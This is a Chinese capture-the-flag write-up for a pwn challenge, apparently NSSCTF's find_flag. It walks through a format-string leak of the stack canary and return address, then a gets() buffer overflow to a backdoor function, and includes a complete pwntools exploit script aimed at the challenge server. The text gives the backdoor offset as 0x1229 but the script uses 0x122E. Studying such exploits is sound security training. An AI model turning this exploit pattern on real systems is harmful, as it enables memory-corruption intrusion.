char format[32]; // [rsp+0h] [rbp-60h] BYREF
char format_1[56]; // [rsp+20h] [rbp-40h] BYREF
unsigned __int64 v3; // [rsp+58h] [rbp-8h]

v3 = __readfsqword(0x28u);
printf("Hi! What's your name? ");
gets(format);
printf("Nice to meet you, ");
strcat(format, "!\n");
printf(format);
printf("Anything else? ");
gets(format_1);
return __readfsqword(0x28u) ^ v3;
}

1.因為開了canary , 要在rbp-8 找到canary 。

2.找到return 地址。

3.找到libc偏移。

87f13517b97bdf003fca504486a77dcf.png

可以看看%17$p 是不是00結尾

0d5b47bdfa7e3ff531e44d639a55f551.png

猜對了! , 那麼return 地址是%19$p了

接下來來找libc 在stack 可以看見在rbp+028 , vmmap一下找到始地址相減找偏移:

28946c4afd33b3deea9bec0976b9170c.png 3f2b46feacac46ffab007c072566eb32.png

完了 ,我發現可以不用libc , hahahaha有後門函數:
dc6f115cf8d0badfd78f4a9ddb00849e.png

那不用了 , 算本程序的偏移就可以了:
vmmap一下:
083cebc0e97d8c482920f621ae4e8e82.png

3547a05a84e2d4c4cf083c520a7c1abc.png 922de7daca3e6c53d17c53de4c2a460a.png

和ida的是一樣的 , 說明是算對的 , 後門函數地址偏移為0x1229

==> base = return_addr - 0x146F

==> backdoor = base + 0x1229

可以寫代碼了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import*

#p=process("./find_flag")
#node4.anna.nssctf.cn:28928
p=remote('node4.anna.nssctf.cn',28928)
payload1='%17$paaa%19$p'
p.recvuntil("name?")
p.sendline(payload1)
buf=p.recvuntil("!").decode()

tmp=buf.split(" ")[5].split("aaa")[0]
canary=int(tmp,16)
tmp=buf.split("aaa")[1].split("!")[0]
re_addr=int(tmp,16)
base_addr=re_addr-0x0146F
#print(type(base_addr))

back_door=base_addr+0x122E
payload2=b'a'*(0x40-0x8)+p64(canary)+b'a'*8+p64(back_door)
p.recvuntil(" else? ")
p.sendline(payload2)
p.interactive()

PWN1

在IDA中沒有system 和 ‘/bin/sh’ :

e7044782da301a4444b808ca0455c544.png

看來要libc :

4226df7da171469c0ec68e1ba97c8a35.png

用這個查一查 :

https://libc.blukat.me/

用法 :

http://blog.csdn.net/weixin_43833642/article/details/106647234